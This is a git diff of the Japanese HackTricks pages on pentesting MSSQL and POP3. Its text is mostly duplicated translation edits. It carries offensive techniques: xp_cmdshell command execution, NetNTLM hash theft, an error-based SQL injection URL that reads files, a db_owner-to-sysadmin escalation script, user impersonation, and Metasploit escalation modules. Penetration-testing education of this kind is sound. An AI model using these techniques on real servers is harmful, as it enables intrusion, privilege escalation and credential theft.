<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
|
||||
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**する。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
|
||||
- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,9 +24,9 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
## 基本情報
|
||||
|
||||
[wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server)から:
|
||||
[wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server)から:
|
||||
|
||||
> **Microsoft SQL Server**は、Microsoftによって開発された**リレーショナルデータベース**管理システムです。データベースサーバーとして、他のソフトウェアアプリケーションからのデータの格納と取得を主な機能とするソフトウェア製品であり、これらのアプリケーションは同じコンピューター上またはネットワークを介して別のコンピューター上(インターネットを含む)で実行される可能性があります。
|
||||
> **Microsoft SQL Server**は、Microsoftによって開発された**リレーショナルデータベース**管理システムです。データベースサーバーとして、他のソフトウェアアプリケーションからのデータの格納と取得を主な機能とするソフトウェア製品であり、これらのアプリケーションは同じコンピューター上で実行されるか、ネットワーク(インターネットを含む)上の別のコンピューターで実行される可能性があります。
|
||||
|
||||
**デフォルトポート:** 1433
|
||||
```
|
||||
|
@ -37,7 +37,7 @@ HackTricksをサポートする他の方法:
|
|||
* **masterデータベース**: このデータベースは、SQL Serverインスタンスのすべてのシステムレベルの詳細をキャプチャするため重要です。
|
||||
* **msdbデータベース**: SQL Serverエージェントは、アラートやジョブのスケジューリングを管理するためにこのデータベースを利用します。
|
||||
* **modelデータベース**: SQL Serverインスタンス上のすべての新しいデータベースの設計図として機能し、サイズ、照合順序、リカバリモデルなどの変更が新しく作成されたデータベースに反映されます。
|
||||
* **Resourceデータベース**: SQL Serverに付属するシステムオブジェクトが格納される読み取り専用データベースです。これらのオブジェクトはResourceデータベースに物理的に格納されていますが、すべてのデータベースのsysスキーマで論理的に表示されます。
|
||||
* **Resourceデータベース**: SQL Serverに付属するシステムオブジェクトが格納される読み取り専用データベースです。これらのオブジェクトは、Resourceデータベースに物理的に格納されているものの、すべてのデータベースのsysスキーマで論理的に表示されます。
|
||||
* **tempdbデータベース**: 一時的なオブジェクトや中間結果セットのための一時的なストレージ領域として機能します。
|
||||
|
||||
|
||||
|
@ -54,7 +54,7 @@ msf> use auxiliary/scanner/mssql/mssql_ping
|
|||
**資格情報を持っていない**場合は、それらを推測することができます。nmapまたはmetasploitを使用できます。既存のユーザー名を使用して何度かログインに失敗すると、アカウントが**ブロック**される可能性があるため、注意してください。
|
||||
{% endhint %}
|
||||
|
||||
#### Metasploit(資格情報が必要)
|
||||
#### Metasploit (資格情報が必要)
|
||||
```bash
|
||||
#Set USERNAME, RHOSTS and PASSWORD
|
||||
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
|
||||
|
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
|||
### OSコマンドの実行
|
||||
|
||||
{% hint style="danger" %}
|
||||
コマンドを実行できるようにするには、**`xp_cmdshell`**が**有効**であるだけでなく、**`xp_cmdshell`ストアドプロシージャに対するEXECUTE権限**も必要です。誰が(sysadminsを除く)**`xp_cmdshell`**を使用できるかは、次のコマンドで確認できます:
|
||||
OSコマンドを実行できるようにするには、**`xp_cmdshell`**が**有効**であるだけでなく、**`xp_cmdshell`ストアドプロシージャに対するEXECUTE権限**も必要です。誰が(sysadminsを除く)**`xp_cmdshell`**を使用できるかは次のコマンドで確認できます:
|
||||
```sql
|
||||
Use master
|
||||
EXEC sp_helprotect 'xp_cmdshell'
|
||||
|
@ -244,16 +244,16 @@ EXEC sp_helprotect 'xp_fileexist';
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
**NetNTLMハッシュを盗む**ことが可能な**responder**や**Inveigh**などのツールを使用します。\
|
||||
**Responder**や**Inveigh**などのツールを使用すると、**NetNTLMハッシュを盗む**ことができます。\
|
||||
これらのツールの使用方法は次の場所で確認できます:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
||||
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### MSSQL信頼リンクの悪用
|
||||
### MSSQL信頼リンクの乱用
|
||||
|
||||
この機能を悪用する方法についての詳細は、[**この投稿**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **を参照してください:**
|
||||
[**この投稿**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **を読んで、この機能を乱用する方法について詳細を見つけてください:**
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %}
|
||||
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||||
|
@ -261,7 +261,7 @@ EXEC sp_helprotect 'xp_fileexist';
|
|||
|
||||
### **ファイルの書き込み**
|
||||
|
||||
`MSSQL`を使用してファイルを書き込むには、管理者権限が必要な[**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)を有効にし、その後いくつかのストアドプロシージャを実行してファイルを作成する必要があります。
|
||||
`MSSQL`を使用してファイルを書き込むには、管理者権限が必要な[**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)を有効にし、その後、ファイルを作成するための一部のストアドプロシージャを実行する必要があります。
|
||||
```bash
|
||||
# Enable Ole Automation Procedures
|
||||
sp_configure 'show advanced options', 1
|
||||
|
@ -285,12 +285,12 @@ EXECUTE sp_OADestroy @OLE
|
|||
```sql
|
||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||
```
|
||||
しかし、**`BULK`** オプションを使用するには、**`ADMINISTER BULK OPERATIONS`** または **`ADMINISTER DATABASE BULK OPERATIONS`** 権限が必要です。
|
||||
しかし、**`BULK`**オプションを使用するには、**`ADMINISTER BULK OPERATIONS`**または**`ADMINISTER DATABASE BULK OPERATIONS`**権限が必要です。
|
||||
```sql
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||
```
|
||||
#### SQLiのためのエラーベースのベクトル:
|
||||
#### エラーベースのSQLi用ベクトル:
|
||||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
|
@ -298,11 +298,11 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
|
|||
|
||||
MSSQLを使用すると、**Pythonおよび/またはRのスクリプトを実行**できる場合があります。これらのコードは、**xp\_cmdshell**を使用してコマンドを実行するユーザーとは**異なるユーザー**によって実行されます。
|
||||
|
||||
例として、**'R'**で _"Hellow World!"_ を実行しようとしたが、**動作しません**:
|
||||
**'R'**の _"Hellow World!"_ **を実行しようとする例**(動作しません):
|
||||
|
||||
![](<../../.gitbook/assets/image (185) (1).png>)
|
||||
|
||||
複数のアクションを実行するために構成されたPythonを使用した例:
|
||||
複数のアクションを実行するために構成されたPythonを使用した例:
|
||||
```sql
|
||||
# Print the user being used (and execute commands)
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||||
|
@ -318,7 +318,7 @@ GO
|
|||
```
|
||||
### レジストリの読み取り
|
||||
|
||||
Microsoft SQL Serverは、**複数の拡張ストアドプロシージャ**を提供しており、ネットワークだけでなくファイルシステムや[**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**ともやり取りできます**:
|
||||
Microsoft SQL Serverは、ネットワークだけでなくファイルシステムや[**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**ともやり取りできる複数の拡張ストアドプロシージャ**を提供しています:
|
||||
|
||||
| **通常** | **インスタンス対応** |
|
||||
| ---------------------------- | -------------------------------------- |
|
||||
|
@ -341,21 +341,24 @@ Use master;
|
|||
EXEC sp_helprotect 'xp_regread';
|
||||
EXEC sp_helprotect 'xp_regwrite';
|
||||
```
|
||||
**さらなる例**については、[**元のソース**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)を参照してください。
|
||||
|
||||
### MSSQLユーザー定義関数を使用したRCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
**カスタム関数を使用してMSSQL内で.NET dllをロード**することが可能です。ただし、これには`dbo`アクセスが必要なので、データベースへの接続が`sa`または管理者ロールとして必要です。
|
||||
カスタム関数を使用してMSSQL内で.NET dllをロードすることが可能です。ただし、これには`dbo`アクセスが必要ですので、データベースへの接続が`sa`または管理者ロールとして必要です。
|
||||
|
||||
[**このリンクに従って**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp)、例をご覧ください。
|
||||
[**このリンク**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp)を参照して、例をご覧ください。
|
||||
|
||||
### RCEの他の方法
|
||||
|
||||
[拡張ストアドプロシージャ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLRアセンブリ](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Serverエージェントジョブ](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)、および[外部スクリプト](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)の追加など、コマンドの実行を取得する他の方法があります。
|
||||
コマンドの実行を取得する他の方法として、[拡張ストアドプロシージャ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLRアセンブリ](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Serverエージェントジョブ](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)、および[外部スクリプト](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)の追加があります。
|
||||
|
||||
|
||||
## MSSQL特権昇格
|
||||
|
||||
### db_ownerからsysadminへ
|
||||
|
||||
**通常のユーザー**が**`sa`**などの**管理者が所有するデータベース**に対して**`db_owner`**ロールを与えられ、そのデータベースが**`trustworthy`**として構成されている場合、そのユーザーはこれらの権限を悪用して**特権昇格**を行うことができます。なぜなら、そこで作成された**ストアドプロシージャ**が所有者(**管理者**)として**実行**できるからです。
|
||||
**通常のユーザー**が**`db_owner`**ロールを与えられ、**管理者**ユーザー(たとえば**`sa`**)が所有するデータベースに対してそのデータベースが**`trustworthy`**として構成されている場合、そのユーザーはこれらの権限を悪用して**特権昇格**を行うことができます。なぜなら、そのデータベースに作成された**ストアドプロシージャ**が所有者(**管理者**)として**実行**できるからです。
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
|
@ -389,19 +392,19 @@ EXEC sp_elevate_me
|
|||
--3. Verify your user is a sysadmin
|
||||
SELECT is_srvrolemember('sysadmin')
|
||||
```
|
||||
**metasploit** モジュールを使用できます:
|
||||
**metasploit** モジュールを使用できます:
|
||||
```bash
|
||||
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||
```
|
||||
または、**PS** スクリプト:
|
||||
または**PS**スクリプト:
|
||||
```powershell
|
||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
|
||||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||||
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
||||
```
|
||||
### 他のユーザーのなりすまし
|
||||
### 他のユーザーへのなりすまし
|
||||
|
||||
SQL Serverには、**`IMPERSONATE`**という特別な権限があります。**この権限を持つ実行ユーザーは、別のユーザーやログインの権限を引き継ぐことができます**。この状態はリセットされるかセッションが終了するまで続きます。
|
||||
SQL Serverには、**`IMPERSONATE`**という特別な権限があり、**実行ユーザーが別のユーザーやログインの権限を引き継ぐことができます**。この状態はリセットされるかセッションが終了するまで続きます。
|
||||
```sql
|
||||
# Find users you can impersonate
|
||||
SELECT distinct b.name
|
||||
|
@ -419,7 +422,7 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
|
|||
{% hint style="info" %}
|
||||
ユーザーをなりすませることができる場合、そのユーザーが他のデータベースやリンクされたサーバーにアクセスできるかどうかをチェックする必要があります。
|
||||
|
||||
なお、一度sysadminになると他のどのユーザーでもなりすますことができます:
|
||||
なお、一度sysadminになると、他のどのユーザーでもなりすますことができます:
|
||||
{% endhint %}
|
||||
```sql
|
||||
-- Impersonate RegUser
|
||||
|
@ -430,7 +433,7 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
|
|||
-- Change back to sa
|
||||
REVERT
|
||||
```
|
||||
この攻撃は、**metasploit**モジュールを使用して実行することができます。
|
||||
この攻撃は、**metasploit** モジュールを使用して実行することができます。
|
||||
```bash
|
||||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||
```
|
||||
|
@ -445,11 +448,11 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||
|
||||
## SQL Serverリンクサーバーからパスワードを抽出する
|
||||
攻撃者はSQL ServerリンクサーバーのパスワードをSQL Instancesから抽出し、それを平文で取得することができます。これにより、攻撃者はターゲット上でより大きな立場を獲得するために使用できるパスワードを取得します。
|
||||
リンクサーバーのために保存されたパスワードを抽出および復号化するスクリプトは[こちら](https://www.richardswinbank.net/admin/extract_linked_server_passwords)で見つけることができます。
|
||||
攻撃者はSQL ServerリンクサーバーのパスワードをSQL Instancesから抽出し、それらを平文で取得することができ、攻撃者により大きな足場を獲得するために使用できるパスワードを提供します。
|
||||
リンクサーバーのために格納されたパスワードを抽出および復号化するスクリプトは[こちら](https://www.richardswinbank.net/admin/extract_linked_server_passwords)で見つけることができます。
|
||||
|
||||
この攻撃を実行するためには、いくつかの要件と構成が必要です。
|
||||
まず第一に、マシンで管理者権限を持っているか、SQL Server構成を管理する権限を持っている必要があります。
|
||||
この脆弱性を利用するためには、いくつかの要件と構成が必要です。
|
||||
まず第一に、マシンで管理者権限を持っているか、SQL Serverの構成を管理する権限を持っている必要があります。
|
||||
|
||||
権限を検証した後、以下の3つの構成を行う必要があります:
|
||||
1. SQL ServerインスタンスでTCP/IPを有効にすること。
|
||||
|
@ -457,9 +460,9 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
3. リモート管理接続を有効にすること。
|
||||
|
||||
これらの構成を自動化するために、[このリポジトリ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)に必要なスクリプトがあります。
|
||||
構成の各ステップに対するPowerShellスクリプトだけでなく、リポジトリには構成スクリプトとパスワードの抽出および復号化を組み合わせた完全なスクリプトも含まれています。
|
||||
構成スクリプトとパスワードの抽出と復号化を組み合わせた完全なスクリプトもリポジトリにあります。
|
||||
|
||||
詳細については、次の攻撃に関する以下のリンクを参照してください:
|
||||
この攻撃に関する詳細情報については、次のリンクを参照してください:
|
||||
[MSSQLデータベースリンクサーバーパスワードの復号化](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[SQL Server専用管理者接続のトラブルシューティング](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
@ -483,16 +486,16 @@ MSSQLサーバーを実行しているユーザーは、特権トークン**SeIm
|
|||
|
||||
## 参考文献
|
||||
|
||||
* [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
|
||||
* [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
||||
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
* [すべてのデータベースユーザーのリストを取得する方法](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
|
||||
* [SQL Serverログインユーザーの権限を取得する方法](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
||||
* [高度なMSSQLインジェクショントリック](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||||
* [SQL Serverストアドプロシージャのハッキングパート1:信頼できないデータベース](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||||
* [SQL Serverストアドプロシージャのハッキングパート2:ユーザー偽装](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||
* [Metasploitを使用してSQL Server経由でSMBリレーアタックを実行する方法](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
* [SQL Serverでのレジストリの作業](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -556,14 +559,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
|
||||
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するには、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するためにPRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,14 +24,14 @@
|
|||
|
||||
**ポストオフィスプロトコル(POP)**は、コンピューターネットワーキングとインターネットの領域内で説明されるプロトコルで、リモートメールサーバーからの電子メールの取り出しと**取得**に使用され、これによりローカルデバイスでアクセスできるようになります。 OSIモデルのアプリケーション層に配置されているこのプロトコルは、ユーザーが電子メールを取得して受信することを可能にします。 **POPクライアント**の動作は通常、メールサーバーに接続し、すべてのメッセージをダウンロードし、これらのメッセージをクライアントシステムにローカルに保存し、その後サーバーから削除することを含みます。 このプロトコルには3つのイテレーションがありますが、**POP3**が最も一般的に使用されるバージョンとして際立っています。
|
||||
|
||||
**デフォルトポート:** 110、995(SSL)
|
||||
**デフォルトポート:** 110、995(ssl)
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
110/tcp open pop3
|
||||
```
|
||||
## 列挙
|
||||
|
||||
### バナーの取得
|
||||
### バナー取得
|
||||
```bash
|
||||
nc -nv <IP> 110
|
||||
openssl s_client -connect <IP>:995 -crlf -quiet
|
||||
|
@ -40,17 +40,17 @@ openssl s_client -connect <IP>:995 -crlf -quiet
|
|||
|
||||
POP3サーバーの機能を取得するために`CAPA`コマンドを使用できます。
|
||||
|
||||
## 自動化
|
||||
## 自動
|
||||
```bash
|
||||
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
|
||||
```
|
||||
`pop3-ntlm-info`プラグインはいくつかの "**sensitive**" データ(Windows バージョン)を返します。
|
||||
`pop3-ntlm-info`プラグインはいくつかの "**sensitive**" データ (Windows versions) を返します。
|
||||
|
||||
### [POP3 ブルートフォース](../generic-methodologies-and-resources/brute-force.md#pop)
|
||||
|
||||
## POP 構文
|
||||
|
||||
[こちら](http://sunnyoasis.com/services/emailviatelnet.html)からの POP コマンドの例
|
||||
[こちら](http://sunnyoasis.com/services/emailviatelnet.html) からの POP コマンドの例
|
||||
```bash
|
||||
POP commands:
|
||||
USER uid Log in as "uid"
|
||||
|
@ -66,7 +66,7 @@ CAPA Get capabilities
|
|||
```
|
||||
### Post Office Protocol (POP)
|
||||
|
||||
POP is a protocol used by email clients to retrieve email from a mail server. During a penetration test, you can attempt to retrieve emails from a target's mail server using tools like `telnet` or dedicated email clients configured to use POP. This can potentially expose sensitive information such as login credentials or confidential data.
|
||||
POP is a protocol used by email clients to retrieve emails from a mail server. During a penetration test, you can attempt to brute force POP credentials or use tools like Hydra to automate the process. Additionally, you can look for vulnerabilities in the POP server configuration that may allow unauthorized access.
|
||||
```
|
||||
root@kali:~# telnet $ip 110
|
||||
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
|
||||
|
@ -93,19 +93,19 @@ password: PA$$W0RD!Z
|
|||
```
|
||||
## 危険な設定
|
||||
|
||||
From [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
|
||||
[https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)から
|
||||
|
||||
| **設定** | **説明** |
|
||||
| ------------------------- | ----------------------------------------------------------------------------------------- |
|
||||
| `auth_debug` | すべての認証デバッグログを有効にします。 |
|
||||
